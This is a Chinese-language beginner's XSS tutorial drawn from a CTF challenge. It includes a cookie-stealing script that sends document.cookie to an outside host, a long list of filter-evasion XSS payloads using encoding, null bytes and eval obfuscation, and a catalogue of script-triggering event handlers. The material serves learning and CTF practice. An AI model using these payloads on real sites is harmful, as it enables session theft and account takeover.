xss入门
在这里就说说从一道ctf的xss题目以及在做这个题目的时候所遇到的一些知识还有想法’’
<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>
|
<img src="x" onerror="this.alt=document.getElementsByTagName('script')[0].innerHTML"/>
|
选择合适的xss语句
首先我们需要观察,xss从何插入,插入以后我们是否可以点击
<scri<script>pt>alert(1)</scri</script>pt>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<Img src="" onerror="alert(4)"/> <img src="" onerror="alert(5)"/> <img src="" onerror="javascript:alert(6)"/> <[%00] img onerror=alert(10) src=a> <i[%00]mg onerror=alert(11) src=a> <img/onerror=alert(12) src=a> <img [%09] onerror=alert(13) src=a> <img/" onerror=alert(14) src=a> <img/onerror=alert(140) src=a> <img/anyjunk/onerror=alert(15) src=a> <img o[%00]nerror=alert(16) src=a> <script/anyjunk>alert(17)</script> <body onbeforeactivate=alert(18)>
<object onerror=alert(20)>
<a>here here</a onmousemove=alert(22)> <video src=1 onerror=alert(23)> <embed src=javascript:alert(24)> <x style=behavior:url(#default#time2) onbegin=alert(25)> <img onerror="alert(25)"src=a> <img onerror='alert(26)'src=a> <img onerror=`alert(27)`src=a> <img/onerror="alert(28)"src=a> <<img onerror=alert(29) src=a>> %253cimg%20onerror=alert(30)%20src=a%253e,首先被过滤器解码%3cimg onerror=alert(31) src=a%3e, 后备浏览器解码为<img onerror=alert(30) src=a> <img onerror=alert(31) src=a>使用十进制或者十六进制代替html编码,并添加多个前导0并省略结尾的分号 <img onerror=alert(32) src=a>使用十进制或者十六进制代替html编码,并添加多个前导0并省略结尾的分号 <iframe src=javascript:alert(33)> <img onerror=alert(34) src=a> <<script>alert(35);//<</script> <script<{alert(36)}/></script><!--不执行--> <body onscroll=alert(37)><br><br><br>....<input autoocus> <input onblur=alert(38) autofocus><input autofocus> %u00ABimg onerror=alert(39) src=a%u00bb,unicode编码 非标准编码避开过滤,UTF-7,US-ASCII,UTF-16,多字节字符集Shift-JIS,EUC-JP,BIG5(条件是控制Content-type或者对应的html元标签、charset) /// 避开过滤,脚本代码: <script>a\u006cert(40)</script>;unicode <script>eval('a\u006cert(41)')</script>;unicode <script>eval('a\x6cert(42)')</script>;16进制 <script>eval('a\154ert(43)')</script>;10进制 <script>eval('a\l\ert\(44\)')</script>;eval中多余转义被忽略 <script>eval('al' +'ert\(45\)')</script>;动态构建 <script>eval('al' +'ert(46)')</script>;动态构建带多余转义 <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));动态构建</script>;alert(1) <script>eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));</script>;动态构建</script>;alert(1) <script>'alert(49)'.replace(/.+/,eval)</script>;无法直接使用eval的情况 <script>function::['alert'](50)</script>;无法直接使用eval的情况 <script>alert(document['cookie'])</script>;替代圆点 <script>with(document)alert(cookie)</script>;替代圆点
|
以上展示的均为执行脚本的情况,如果script被过滤了,那么就只能使用其他标签,并选择使用javascript来执行并输出进行替代
触发事件
1、onmouseenter:当鼠标进入选区执行代码 2、onmouseleave:当鼠标离开选区执行代码 3、onmousewheel:当鼠标在选区滚轮时执行代码 4、onscroll:拖动滚动条执行代码 5、onfocusin:当获得焦点时执行代码 6、onfocusout:当失去焦点时执行代码 7、onstart:当显示内容时执行代码 8、onbeforecopy:选中内容后右键执行代码 9、onbeforecut:选中内容后右键执行代码 10、onbeforeeditfocus:当获得焦点时执行代码 11、onbeforepaste:选中内容后右键执行代码 12、oncontextmenu:鼠标右键执行代码 13、oncopy:鼠标右键执行复制时执行代码 14、oncut:鼠标右键执行剪切时执行代码 15、ondrag:选择内容并拖动时执行代码 16、ondragend:选择内容并拖动松开鼠标执行代码 17、ondragenter:选择内容并拖动时执行代码 18、ondragleave:选择内容并拖出边框执行代码 19、ondragover:选择内容并拖动时执行代码 20、ondragstart:选择内容并拖动时执行代码 21、ondrop:有内容被拖动进来时执行代码 22、onlosecapture:选择内容时执行代码 23、onpaste:粘贴时执行代码 24、onselectstart:选择内容时执行代码 25、onhelp:进入焦点按F1时执行代码 26、onEnd:当时间线执行完毕时执行代码 27、onBegin:当时间线开始执行代码 28、onactivate:激活当前标签时执行代码 29、onfilterchange:当滤镜改变时执行代码 30、onbeforeactivate:当激活当前标签时执行代码 31、onbeforedeactivate:当标签内值改变时执行代码 32、ondeactivate:当标签内值改变时执行代码 33、onerror:加载错误时触发
|
在xss中,如果script被过滤, 无法直接执行出结果时,这个时候就要使用其他组合拳,也就是合适的标签搭配合适的事件,比如说我们使用img标签时,我们后面要执行的是一个脚本语句,那么这个时候一定是加载图片错误的,就可以使用onerror事件触发我们的脚本
xss组合
这个时候,我们已经可以用onerror触发我们的脚本了,但是我们需要的是文字,所以这个时候我们还需要寻找一个当图片加载失败时,能够回显文字的东西
alt是一个必需的属性,它规定在图像无法显示时的替代文本。alt属性是用来对网页上的图片进行描述,光标在图片上时显示的提示语即采用该标签实现。
|
所以当图片不能正常显示时,就会执行onerror的内容,onerror的内容便是回显一个alt
this.alt=document.getElementsByTagName('script')[0].innerHTML
|
document
document中有许多获取文本内容的方法,或者是其他一些关键信息的方法
通过ID获取(getElementById) 通过name属性(getElementsByName) 通过标签名(getElementsByTagName) 通过类名(getElementsByClassName) 获取html的方法(document.documentElement) 获取body的方法(document.body) 通过选择器获取一个元素(querySelector) 通过选择器获取一组元素(querySelectorAll) //但是一般还要再后面加上一个.innerHTML
|